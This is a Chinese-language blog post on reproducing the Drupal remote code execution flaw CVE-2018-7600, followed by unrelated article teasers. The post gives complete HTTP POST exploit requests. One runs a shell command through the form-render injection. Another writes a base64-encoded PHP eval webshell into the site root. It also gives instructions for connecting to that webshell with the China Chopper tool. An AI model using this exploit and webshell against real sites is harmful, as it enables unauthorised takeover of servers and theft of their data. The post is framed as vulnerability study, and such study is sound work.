drupal远程代码执行 (CVE-2018-7600)漏洞学习与复现

news2024/9/29 19:30:26

文章目录

    • 一、漏洞描述
    • 二、POC&EXP


一、漏洞描述

drupal是一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。该漏洞产生的原因在于Drupal对表单渲染时未进行严格的安全过滤,导致,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码。


二、POC&EXP

首先需要确定目标的版本,可以通过访问目标站点的以下两个文件去确定(当然也可以通过信息搜集识别站点的cms版本):

http://target_ip:port/core/CHANGELOG.txt
http://target_ip:port/CHANGELOG.txt

在这里插入图片描述
当目标为存在漏洞的版本时,则很可能存在相关漏洞。先用网上公开的POC去验证,访问以下地址:

http://target_ip:port/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

然后抓取该页面的数据包,并将整个数据包替换为如下内容:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

修改其中的HOST参数为目标站点的IP和端口即可。
当回显内容出现id命令执行的结果则证明漏洞存在:
在这里插入图片描述
接着可以开始写入webshell。需要注意的是,drupal会过滤>,因此有出现>的地方都要设法用别的内容代替。
这里先写好webshell内容:
<?php eval($_REQUEST[8]) ;?>
进行base64编码:
PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==
构造命令:
echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php
这里的base64 -d是指将前面的字符串进行base64解码再输出,而tee则是将结果输出并将结果写入到指定的文件中。
之后构造数据包如下:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 173

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo “PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pIDs/Pg==” |base64 -d |tee test.php

该文件写入后会出现在网站根目录下。可以在目标的根目录下访问该文件并传参phpinfo();命令让它执行,若成功,则可以使用webshell管理工具连接该文件。
在这里插入图片描述
需要注意的是,如果使用中国菜刀进行连接,而目标站点如果是php7.x的版本,则会报错导致无法连接。此时应修改菜刀的配置,把以下内容:
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
改成:
eval(base64_decode('%s'));
之后即可正常连接。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/96515.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ADI Blackfin DSP处理器-BF533的开发详解58:DSP控制ADXL345三轴加速度传感器的应用(含源码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 MEMS三轴加速度传感器 我做了一个三轴加速度传感器的子卡&#xff0c;插在这个板子上&#xff0c;然后写了一些有意思的应用程序。 硬件实现原理…

Nacos2.2版本发布了,我为其贡献了几行代码并适配了PostgreSQL插件

目录 一、背景 二、个人贡献 三、Nacos使用适配的PostgreSQL插件 3.1、插件源码工程项目结构&#xff1a; 3.2、打包加载插件 3.3、修改配置文件为PostgreSQL连接字符串 3.4、导入数据库脚本文件 四、总结 一、背景 Nacos 是 Dynamic Naming and Configuration-Servic…

计算机毕设Python+Vue心灵治愈服务平台(程序+LW+部署)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

C++那些事之高效率开发C++/C

1.神器 目前开发C/C用的比较多的当属Vim、VS code、CLion。 Vim配上插件编写C/C效率高的不少。 VSCode配上自定义配置及快捷键、vim插件效率跟vim旗鼓相当。 CLion因其独特的CMakeLists.txt管理方式及强大的代码补全等功能&#xff0c;编写本地代码绝对好于前两者。 但是对…

什么是数据指标体系?

定义 对当前业务有参考价值的统计数据 作用 监控业务情况 通过拆解指标寻找当前业务问题 评估业务可改进的地方&#xff0c;找出下一步工作的方向 常用数据指标 谁&#xff1a;用户数据 干了什么&#xff1a;行为数据 结果怎样&#xff1a;业务数据 选好数据指标的通用…

大数据学习:学生排序

文章目录一、提出任务二、任务过程&#xff08;一&#xff09;准备数据1、在虚拟机上创建文本文件2、上传文件到HDFS指定目录&#xff08;二&#xff09;实现步骤1、创建Maven项目2、添加相关依赖3、创建日志属性文件4、创建学生实体类5、创建学生映射器类5、创建学生归并器类6…

Python变量类型教程

变量存储在内存中的值。这就意味着在创建变量时会在内存中开辟一个空间。 基于变量的数据类型&#xff0c;解释器会分配指定内存&#xff0c;并决定什么数据可以被存储在内存中。 因此&#xff0c;变量可以指定不同的数据类型&#xff0c;这些变量可以存储整数&#xff0c;小…

Springboot跨域处理的几种方式

作者简介 作者名&#xff1a;编程界小明哥 简介&#xff1a;CSDN博客专家&#xff0c;从事软件开发多年&#xff0c;精通Java、JavaScript&#xff0c;博主也是从零开始一步步把学习成长、深知学习和积累的重要性&#xff0c;喜欢跟广大ADC一起打野升级&#xff0c;欢迎您关注&…

基于springboot+mybatis的制造行业供应链管理系统

一、项目简介 基于springbootmybatis的制造行业供应链管理系统 二、实现功能 支持基础数据、用户管理、职务管理、修改密码、客户账号管理、组织管理 物料管理、物料短码、物料短码查询、物料分类维护 项目类别维护、分配采购员、设置最大最小库存、物料检验项管理 部门管…

Elasticsearch入门、API操作

文章目录概念倒排索引es的一些概念安装ES、Kibana总结索引库操作mapping映射属性创建索引库和映射查询索引库修改索引库删除索引库总结文档操作新增文档查询文档删除文档修改文档全量修改增量修改RestAPI引入依赖、初始化RestClient索引库 操作创建索引库删除索引库判断索引库是…

[附源码]Python计算机毕业设计黑河学院校友交流网站Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

ABBYY2023PDF及OCR文字识别软件

ABBYY FineReader PDF2023最新版使专业人士在数字化工作场所能够更大限度地提高效率。 FineReader PDF 的特色是采用了 ABBYY 新推出的基于 AI的OCR 技术&#xff0c;可以更轻松地在同一工作流程中对各种文档进行数字化、检索、编辑、加密、共享和协作。 现在&#xff0c;信息工…

U盘安装CentOS7

官网找到CentOS7的ISO镜像&#xff1a;CentOS-7-x86_64-DVD-2207-02.iso&#xff08;大小4.42G&#xff09; 准备一个8G的U盘&#xff0c;格式化&#xff0c;然后通过UltraISO工具将ISO镜像写入到U盘。 接着开机启动U盘&#xff0c;华硕是按esc键。 选择install cenetos7 li…

【图像处理】打靶仿真系统【含GUI Matlab源码 1043期】

⛄一、打靶仿真系统简介 1 课题描述 2 课题建模过程 a)第一&#xff0c;获取武器的各个参数&#xff0c;并且由这些参数计算武器在方向和高低上的响应公算偏差&#xff1b; b)第二&#xff0c;射击过程中方向和高低上的偏差呈正态分布。在matlab中取normrnd函数实现改功能&am…

《C语言深度解剖》二 static

最名不副实的关键字 static 认识多文件如下 extern 需要extern先声明在使用 生命没有开辟空间&#xff01;100 在main.c里 所有的变量声明的时候&#xff0c;不能设置初始值 为什么要有头文件 头文件要包含 变量的声明int g_val 函数的声明void show(),没有函数的声明虽然可…

CentOS7配置VNC远程桌面

桌面还是有很多方便的地方&#xff0c;在用U盘给电脑安装了centos7&#xff08;带gnome&#xff09;后&#xff0c;接着就需要弄远程桌面。 &#xff08;1&#xff09;安装vncserver yum -y install tigervnc* &#xff08;2&#xff09;启动vnc服务 vncserver &#xff0…

[paddledet][深度学习][原创]paddledet打印出FLops正确方法

第一步&#xff1a;去PaddleDetection\configs\runtime.yaml将print_flops设置true 在paddle环境安装paddleslim&#xff0c;我是paddlepaddle-gpu2.3.2但是我安装paddleslim2.4.0会报错 ImportError: cannot import name _legacy_C_ops from paddle 然后我换成2.3.4版本就好了…

第二十六天:Denoising Diffusion Probabilistic Models(DDPM)

摘要 我们使用扩散概率模型提出了高质量的图像合成结果&#xff0c;这是一类latent variable模型&#xff0c;灵感来自非平衡热力学。我们最好的结果是通过训练weighted variational bound &#xff0c;根据新颖的连接扩散概率模型和去噪分数匹配朗之万动力学进行设计&#xf…

【记录】props和data响应式、watch初始化..谁先执行【Vue父子组件生命执行周期】

文章目录一 、 总结1-1 源码中清楚写明&#xff1a;1-2二、 本次遇到的问题&#xff1a; 父传子props&#xff0c;子组件无法在mounted处理2-1 代码如下2-2一 、 总结 1-1 源码中清楚写明&#xff1a; 1、 组件初始化的时候,created&#xff0c;props&#xff0c;data…执行先…

生物素-二硫键-琥珀酰亚胺酯 Biotin-SS-NHS CAS:142439-92-7 具有良好的水溶性

名称&#xff1a;生物素-二硫键-琥珀酰亚胺酯 英文简称&#xff1a;BIOTIN-SS-NHS&#xff1b;NHS-SS-Biotin CAS&#xff1a;122266-55-1 结构式&#xff1a; Biotin-SS-NHS ester结构式 分子式&#xff1a;C19H28N4O6S3 分子量&#xff1a;504.64 纯度&#xff1a;95% …